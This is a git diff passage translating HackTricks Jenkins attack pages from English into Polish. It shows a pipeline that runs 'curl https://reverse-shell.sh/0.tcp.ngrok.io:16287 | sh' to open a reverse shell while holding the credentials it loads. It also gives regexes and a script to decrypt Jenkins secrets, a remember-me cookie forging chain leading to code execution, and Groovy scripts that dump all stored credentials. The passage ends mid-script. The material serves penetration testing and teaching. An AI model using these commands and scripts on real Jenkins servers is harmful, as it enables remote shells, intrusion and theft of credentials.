GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +Z [dokumentacji](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Dyrektywa `triggers` definiuje **automatyczne sposoby, w jakie Pipeline powinien być ponownie wyzwalany**. Dla Pipeline'ów, które są zintegrowane z źródłem takim jak GitHub lub BitBucket, `triggers` mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne wyzwalacze to `cron`, `pollSCM` i `upstream`. +Przykład cron: ```bash triggers { cron('H */4 * * 1-5') } ``` +Sprawdź **inne przykłady w dokumentacji**. -Check **other examples in the docs**. +### Węzły i Agenci -### Nodes & Agents +Instancja **Jenkins** może mieć **różne agenty działające na różnych maszynach**. Z perspektywy atakującego, dostęp do różnych maszyn oznacza **różne potencjalne dane uwierzytelniające do chmury** do kradzieży lub **różny dostęp do sieci**, który można wykorzystać do eksploatacji innych maszyn. -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. - -For more information check the basic information: +Aby uzyskać więcej informacji, sprawdź podstawowe informacje: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +Możesz wyliczyć **skonfigurowane węzły** w `/computer/`, zazwyczaj znajdziesz **`Wbudowany Węzeł`** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej: ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. - -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +Jest **szczególnie interesujące, aby skompromitować Wbudowany węzeł**, ponieważ zawiera wrażliwe informacje Jenkins. +Aby wskazać, że chcesz **uruchomić** **pipeline** w **wbudowanym węźle Jenkins**, możesz określić w pipeline następującą konfigurację: ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### Pełny przykład -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +Pipeline w konkretnym agencie, z wyzwalaczem cron, z zmiennymi środowiskowymi pipeline i etapu, ładujący 2 zmienne w kroku i wysyłający reverse shell: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## Odczyt dowolnego pliku do RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## Po eksploatacji ### Metasploit - ``` msf> post/multi/gather/jenkins_gather ``` - ### Jenkins Secrets -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. +Możesz wylistować sekrety, uzyskując dostęp do `/credentials/`, jeśli masz wystarczające uprawnienia. Zauważ, że to wylistuje tylko sekrety znajdujące się w pliku `credentials.xml`, ale **pliki konfiguracyjne budowy** mogą również zawierać **więcej poświadczeń**. -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +Jeśli możesz **zobaczyć konfigurację każdego projektu**, możesz również zobaczyć tam **nazwy poświadczeń (sekretów)** używanych do uzyskania dostępu do repozytorium oraz **inne poświadczenia projektu**. ![](<../../images/image (180).png>) @@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -These files are needed to **decrypt Jenkins secrets**: +Te pliki są potrzebne do **odszyfrowania sekretów Jenkins**: - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +Takie **sekrety można zazwyczaj znaleźć w**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +Oto regex, aby je znaleźć: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` - #### Decrypt Jenkins secrets offline -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +Jeśli masz zrzutane **potrzebne hasła do odszyfrowania sekretów**, użyj [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **do odszyfrowania tych sekretów**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### Odszyfrowanie sekretów Jenkins z Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### Utwórz nowego użytkownika administratora -### Create new admin user +1. Uzyskaj dostęp do pliku Jenkins config.xml w `/var/lib/jenkins/config.xml` lub `C:\Program Files (x86)\Jenkins\` +2. Wyszukaj słowo `true` i zmień słowo **`true`** na **`false`**. +1. `sed -i -e 's/truefalsetrue` i **uruchom ponownie Jenkins**. -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## Odniesienia - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 6e62a8536..dc9c054ef 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -1,87 +1,87 @@ -# Basic Jenkins Information +# Podstawowe informacje o Jenkinsie {{#include ../../banners/hacktricks-training.md}} -## Access +## Dostęp -### Username + Password +### Nazwa użytkownika + Hasło -The most common way to login in Jenkins if with a username or a password +Najczęstszy sposób logowania do Jenkins to użycie nazwy użytkownika lub hasła. ### Cookie -If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen). +Jeśli **autoryzowane cookie zostanie skradzione**, może być użyte do uzyskania dostępu do sesji użytkownika. Cookie zazwyczaj nazywa się `JSESSIONID.*`. (Użytkownik może zakończyć wszystkie swoje sesje, ale najpierw musi się dowiedzieć, że cookie zostało skradzione). -### SSO/Plugins +### SSO/Wtyczki -Jenkins can be configured using plugins to be **accessible via third party SSO**. +Jenkins może być skonfigurowany za pomocą wtyczek, aby być **dostępnym przez zewnętrzne SSO**. -### Tokens +### Tokeny -**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API. +**Użytkownicy mogą generować tokeny**, aby umożliwić aplikacjom podszywanie się pod nich za pomocą CLI lub REST API. -### SSH Keys +### Klucze SSH -This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/)) +Ten komponent zapewnia wbudowany serwer SSH dla Jenkins. Jest to alternatywne interfejs dla [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), a polecenia mogą być wywoływane w ten sposób za pomocą dowolnego klienta SSH. (Z [dokumentacji](https://plugins.jenkins.io/sshd/)) -## Authorization +## Autoryzacja -In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options: +W `/configureSecurity` można **skonfigurować metodę autoryzacji Jenkins**. Istnieje kilka opcji: -- **Anyone can do anything**: Even anonymous access can administrate the server -- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access. -- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**. -- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**. +- **Każdy może robić cokolwiek**: Nawet dostęp anonimowy może administrować serwerem. +- **Tryb dziedziczony**: Tak jak w Jenkins <1.164. Jeśli masz **rolę "admin"**, otrzymasz **pełną kontrolę** nad systemem, a **w przeciwnym razie** (w tym **użytkownicy anonimowi**) będziesz miał **dostęp do odczytu**. +- **Zalogowani użytkownicy mogą robić cokolwiek**: W tym trybie każdy **zalogowany użytkownik ma pełną kontrolę** nad Jenkins. Jedynym użytkownikiem, który nie będzie miał pełnej kontroli, jest **użytkownik anonimowy**, który ma tylko **dostęp do odczytu**. +- **Bezpieczeństwo oparte na macierzy**: Możesz skonfigurować **kto może robić co** w tabeli. Każda **kolumna** reprezentuje **uprawnienie**. Każdy **wiersz** **reprezentuje** **użytkownika lub grupę/rolę.** Obejmuje to specjalnego użytkownika '**anonimowy**', który reprezentuje **użytkowników nieautoryzowanych**, oraz '**autoryzowany**', który reprezentuje **wszystkich użytkowników autoryzowanych**. ![](<../../images/image (149).png>) -- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.** -- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`. +- **Strategia autoryzacji oparta na macierzy projektów:** Ten tryb jest **rozszerzeniem** do "**Bezpieczeństwa opartego na macierzy**", które pozwala na **zdefiniowanie dodatkowej macierzy ACL dla każdego projektu osobno.** +- **Strategia oparta na rolach:** Umożliwia definiowanie autoryzacji za pomocą **strategii opartej na rolach**. Zarządzaj rolami w `/role-strategy`. -## **Security Realm** +## **Królestwo bezpieczeństwa** -In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms: +W `/configureSecurity` można **skonfigurować królestwo bezpieczeństwa.** Domyślnie Jenkins zawiera wsparcie dla kilku różnych Królestw Bezpieczeństwa: -- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/). -- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default. -- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups. -- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization. +- **Delegowanie do kontenera servletów**: Do **delegowania autoryzacji do kontenera servletów uruchamiającego kontroler Jenkins**, takiego jak [Jetty](https://www.eclipse.org/jetty/). +- **Własna baza danych użytkowników Jenkins:** Użyj **wbudowanej bazy danych użytkowników Jenkins** do autoryzacji zamiast delegować do zewnętrznego systemu. Jest to włączone domyślnie. +- **LDAP**: Deleguj całą autoryzację do skonfigurowanego serwera LDAP, w tym zarówno użytkowników, jak i grupy. +- **Baza danych użytkowników/grup Unix**: **Deleguje autoryzację do podstawowej bazy danych użytkowników Unix** na kontrolerze Jenkins. Ten tryb pozwoli również na ponowne wykorzystanie grup Unix do autoryzacji. -Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as: +Wtyczki mogą dostarczać dodatkowe królestwa bezpieczeństwa, które mogą być przydatne do włączenia Jenkins w istniejące systemy tożsamości, takie jak: - [Active Directory](https://plugins.jenkins.io/active-directory) - [GitHub Authentication](https://plugins.jenkins.io/github-oauth) - [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2) -## Jenkins Nodes, Agents & Executors +## Węzły, agenci i wykonawcy Jenkins -Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/): +Definicje z [dokumentacji](https://www.jenkins.io/doc/book/managing/nodes/): -**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold. +**Węzły** to **maszyny**, na których działają **agenci budowy**. Jenkins monitoruje każdy podłączony węzeł pod kątem miejsca na dysku, wolnego miejsca tymczasowego, wolnej pamięci wymiany, czasu zegara/synchronizacji i czasu odpowiedzi. Węzeł jest wyłączany, jeśli którakolwiek z tych wartości przekroczy skonfigurowany próg. -**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine. +**Agenci** **zarządzają** **wykonywaniem zadań** w imieniu kontrolera Jenkins, **używając wykonawców**. Agent może używać dowolnego systemu operacyjnego, który obsługuje Javę. Narzędzia wymagane do budowy i testów są instalowane na węźle, na którym działa agent; mogą **być zainstalowane bezpośrednio lub w kontenerze** (Docker lub Kubernetes). Każdy **agent jest w rzeczywistości procesem z własnym PID** na maszynie gospodarza. -An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time. +**Wykonawca** to **miejsce do wykonywania zadań**; w rzeczywistości jest to **wątek w agencie**. **Liczba wykonawców** na węźle definiuje liczbę **równoległych zadań**, które mogą być wykonywane na tym węźle w danym momencie. Innymi słowy, określa to **liczbę równoległych `etapów` Pipeline**, które mogą być wykonywane na tym węźle w danym momencie. -## Jenkins Secrets +## Sekrety Jenkins -### Encryption of Secrets and Credentials +### Szyfrowanie sekretów i poświadczeń -Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include: +Definicja z [dokumentacji](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins używa **AES do szyfrowania i ochrony sekretów**, poświadczeń i ich odpowiednich kluczy szyfrujących. Te klucze szyfrujące są przechowywane w `$JENKINS_HOME/secrets/` wraz z kluczem głównym używanym do ochrony tych kluczy. Ten katalog powinien być skonfigurowany tak, aby tylko użytkownik systemu operacyjnego, na którym działa kontroler Jenkins, miał dostęp do odczytu i zapisu do tego katalogu (tj. wartość `chmod` wynosząca `0700` lub używając odpowiednich atrybutów plików). **Klucz główny** (czasami nazywany "kluczem szyfrującym" w kryptologii) jest **przechowywany \_nieszyfrowany**\_ w systemie plików kontrolera Jenkins w **`$JENKINS_HOME/secrets/master.key`**, co nie chroni przed atakującymi mającymi bezpośredni dostęp do tego pliku. Większość użytkowników i deweloperów będzie używać tych kluczy szyfrujących pośrednio za pomocą API [Secret](https://javadoc.jenkins.io/byShortName/Secret) do szyfrowania ogólnych danych sekretów lub przez API poświadczeń. Dla ciekawskich kryptograficznie, Jenkins używa AES w trybie łańcucha bloków szyfrujących (CBC) z paddingiem PKCS#5 i losowymi IV do szyfrowania instancji [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey), które są przechowywane w `$JENKINS_HOME/secrets/` z nazwą pliku odpowiadającą ich identyfikatorowi `CryptoConfidentialKey`. Powszechne identyfikatory kluczy obejmują: -- `hudson.util.Secret`: used for generic secrets; -- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types; -- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and +- `hudson.util.Secret`: używany do ogólnych sekretów; +- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: używany dla niektórych typów poświadczeń; +- `jenkins.model.Jenkins.crumbSalt`: używany przez [mechanizm ochrony CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); oraz -### Credentials Access +### Dostęp do poświadczeń -Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project. +Poświadczenia mogą być **ograniczone do globalnych dostawców** (`/credentials/`), które mogą być dostępne przez dowolny skonfigurowany projekt, lub mogą być ograniczone do **konkretnych projektów** (`/job//configure`) i dlatego dostępne tylko z konkretnego projektu. -According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials. +Zgodnie z [**dokumentacją**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Poświadczenia, które są w zakresie, są udostępniane pipeline'owi bez ograniczeń. Aby **zapobiec przypadkowemu ujawnieniu w logu budowy**, poświadczenia są **ukrywane** przed regularnym wyjściem, więc wywołanie `env` (Linux) lub `set` (Windows), lub programy drukujące swoje środowisko lub parametry **nie ujawnią ich w logu budowy** użytkownikom, którzy w przeciwnym razie nie mieliby dostępu do poświadczeń. -**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.** +**Dlatego, aby wyeksportować poświadczenia, atakujący musi na przykład zakodować je w base64.** -## References +## Odnośniki - [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/) - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) @@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m - [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index 9d2b232e1..010964e63 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -2,108 +2,104 @@ {{#include ../../banners/hacktricks-training.md}} -In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) +W tym wpisie na blogu można znaleźć świetny sposób na przekształcenie podatności Local File Inclusion w Jenkins w RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own: +To jest podsumowanie stworzone przez AI części wpisu, w której nadużycie arbitralnego ciasteczka jest wykorzystywane do uzyskania RCE, nadużywając lokalnego odczytu pliku, aż będę miał czas, aby stworzyć własne podsumowanie: -### Attack Prerequisites +### Wymagania wstępne ataku -- **Feature Requirement:** "Remember me" must be enabled (default setting). -- **Access Levels:** Attacker needs Overall/Read permissions. -- **Secret Access:** Ability to read both binary and textual content from key files. +- **Wymaganie funkcji:** "Zapamiętaj mnie" musi być włączone (domyślne ustawienie). +- **Poziomy dostępu:** Atakujący potrzebuje uprawnień Overall/Read. +- **Dostęp do sekretów:** Możliwość odczytu zarówno zawartości binarnej, jak i tekstowej z kluczowych plików. -### Detailed Exploitation Process +### Szczegółowy proces eksploatacji -#### Step 1: Data Collection +#### Krok 1: Zbieranie danych -**User Information Retrieval** +**Pobieranie informacji o użytkowniku** -- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather: - - **Username** - - **User seed** - - **Timestamp** - - **Password hash** +- Uzyskaj konfigurację użytkownika i sekrety z `$JENKINS_HOME/users/*.xml` dla każdego użytkownika, aby zebrać: +- **Nazwa użytkownika** +- **Ziarno użytkownika** +- **Znacznik czasu** +- **Hash hasła** -**Secret Key Extraction** +**Ekstrakcja klucza sekretnego** -- Extract cryptographic keys used for signing the cookie: - - **Secret Key:** `$JENKINS_HOME/secret.key` - - **Master Key:** `$JENKINS_HOME/secrets/master.key` - - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` +- Wyodrębnij klucze kryptograficzne używane do podpisywania ciasteczka: +- **Klucz sekretu:** `$JENKINS_HOME/secret.key` +- **Klucz główny:** `$JENKINS_HOME/secrets/master.key` +- **Plik klucza MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac` -#### Step 2: Cookie Forging +#### Krok 2: Fałszowanie ciasteczka -**Token Preparation** +**Przygotowanie tokena** -- **Calculate Token Expiry Time:** +- **Oblicz czas wygaśnięcia tokena:** - ```javascript - tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time - ``` +```javascript +tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedną godzinę do bieżącego czasu +``` -- **Concatenate Data for Token:** +- **Konkatenacja danych dla tokena:** - ```javascript - token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey - ``` +```javascript +token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey +``` -**MAC Key Decryption** +**Deszyfrowanie klucza MAC** -- **Decrypt MAC Key File:** +- **Deszyfruj plik klucza MAC:** - ```javascript - key = toAes128Key(masterKey) // Convert master key to AES128 key format - decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file - if not decrypted.hasSuffix("::::MAGIC::::") - return ERROR; - macKey = decrypted.withoutSuffix("::::MAGIC::::") - ``` +```javascript +key = toAes128Key(masterKey) // Konwertuj klucz główny na format klucza AES128 +decrypted = AES.decrypt(macFile, key) // Deszyfruj plik .mac +if not decrypted.hasSuffix("::::MAGIC::::") +return ERROR; +macKey = decrypted.withoutSuffix("::::MAGIC::::") +``` -**Signature Computation** +**Obliczanie podpisu** -- **Compute HMAC SHA256:** +- **Oblicz HMAC SHA256:** - ```javascript - mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key - tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string - ``` +```javascript +mac = HmacSHA256(token, macKey) // Oblicz HMAC używając tokena i klucza MAC +tokenSignature = bytesToHexString(mac) // Konwertuj MAC na ciąg szesnastkowy +``` -**Cookie Encoding** +**Kodowanie ciasteczka** -- **Generate Final Cookie:** +- **Generuj końcowe ciasteczko:** - ```javascript - cookie = base64.encode( - username + ":" + tokenExpiryTime + ":" + tokenSignature - ) // Base64 encode the cookie data - ``` +```javascript +cookie = base64.encode( +username + ":" + tokenExpiryTime + ":" + tokenSignature +) // Koduj dane ciasteczka w Base64 +``` -#### Step 3: Code Execution +#### Krok 3: Wykonanie kodu -**Session Authentication** +**Uwierzytelnianie sesji** -- **Fetch CSRF and Session Tokens:** - - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`. - - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie. +- **Pobierz tokeny CSRF i sesji:** +- Wykonaj żądanie do `/crumbIssuer/api/json`, aby uzyskać `Jenkins-Crumb`. +- Przechwyć `JSESSIONID` z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem "zapamiętaj mnie". -**Command Execution Request** +**Żądanie wykonania polecenia** -- **Send a POST Request with Groovy Script:** +- **Wyślij żądanie POST z skryptem Groovy:** - ```bash - curl -X POST "$JENKINS_URL/scriptText" \ - --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ - --header "Jenkins-Crumb: $CRUMB" \ - --header "Content-Type: application/x-www-form-urlencoded" \ - --data-urlencode "script=$SCRIPT" - ``` +```bash +curl -X POST "$JENKINS_URL/scriptText" \ +--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \ +--header "Jenkins-Crumb: $CRUMB" \ +--header "Content-Type: application/x-www-form-urlencoded" \ +--data-urlencode "script=$SCRIPT" +``` - - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment. +- Skrypt Groovy może być użyty do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins. -The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely. +Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index 8699b8159..0489d1fc1 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -3,10 +3,9 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. - -You can **dump all the secrets from the Groovy Script console** in `/script` running this code +> Zauważ, że te skrypty będą tylko wyświetlać sekrety znajdujące się w pliku `credentials.xml`, ale **pliki konfiguracyjne budowy** mogą również zawierać **więcej poświadczeń**. +Możesz **wyeksportować wszystkie sekrety z konsoli skryptów Groovy** w `/script`, uruchamiając ten kod ```java // From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/ import jenkins.model.* @@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '') return ``` - -#### or this one: - +#### lub ten: ```java import java.nio.charset.StandardCharsets; def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( - com.cloudbees.plugins.credentials.Credentials.class +com.cloudbees.plugins.credentials.Credentials.class ) for (c in creds) { - println(c.id) - if (c.properties.description) { - println(" description: " + c.description) - } - if (c.properties.username) { - println(" username: " + c.username) - } - if (c.properties.password) { - println(" password: " + c.password) - } - if (c.properties.passphrase) { - println(" passphrase: " + c.passphrase) - } - if (c.properties.secret) { - println(" secret: " + c.secret) - } - if (c.properties.secretBytes) { - println(" secretBytes: ") - println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8)) - println("") - } - if (c.properties.privateKeySource) { - println(" privateKey: " + c.getPrivateKey()) - } - if (c.properties.apiToken) { - println(" apiToken: " + c.apiToken) - } - if (c.properties.token) { - println(" token: " + c.token) - } - println("") +println(c.id) +if (c.properties.description) { +println(" description: " + c.description) +} +if (c.properties.username) { +println(" username: " + c.username) +} +if (c.properties.password) { +println(" password: " + c.password) +} +if (c.properties.passphrase) { +println(" passphrase: " + c.passphrase) +} +if (c.properties.secret) { +println(" secret: " + c.secret) +} +if 